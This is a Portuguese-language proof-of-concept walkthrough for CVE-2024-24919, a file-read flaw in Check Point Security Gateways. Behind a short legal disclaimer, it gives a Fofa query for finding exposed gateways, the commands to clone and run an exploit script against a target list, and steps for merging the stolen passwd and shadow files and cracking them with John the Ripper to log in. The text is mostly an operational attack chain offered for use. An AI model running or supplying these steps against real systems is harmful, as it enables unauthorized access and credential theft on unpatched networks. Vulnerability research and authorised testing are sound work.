
Prova de Conceito - CVE-2024–24919 - Check Point Security Gateways
Potencialmente permitindo que um atacante leia certas informações em Check Point Security Gateways uma vez conectado à internet e com as Blades de Acesso Remoto VPN ou Acesso Móvel ativadas. Uma correção de segurança que mitiga esta vulnerabilidade está disponível.
Leia sobre — CVE-2024-24919
Aviso: Esta Prova de Conceito (POC) é feita apenas para fins educacionais e de teste ético. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.
Para encontrar alvos potenciais, use o Fofa (semelhante ao Shodan.io):
app=”Check_Point-SSL-Network-Extender”
Primeiro, clone o repositório:
git clone https://github.com/verylazytech/CVE-2024-24919
Em seguida, escolha seu alvo e adicione-o ao arquivo list.txt neste formato:
Execute o Exploit:
python3 CVE-2024-24919.py -l list.txt
Agora existem 2 opções de saída:
Sem sucesso:

Com sucesso:

Agora, depois de encontrar os arquivos passwd e shadow, você pode tentar quebrar o hash com o JohnTheRipper. Após executar o exploit, você terá 2 arquivos, passwd e shadow, então você pode mesclá-los em um único arquivo e tentar quebrá-los (usei rockyou.txt, mas pode ser qualquer lista de palavras de senha):
unshadow passwd shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

E agora, depois de quebrarmos o hash, podemos fazer login no usuário!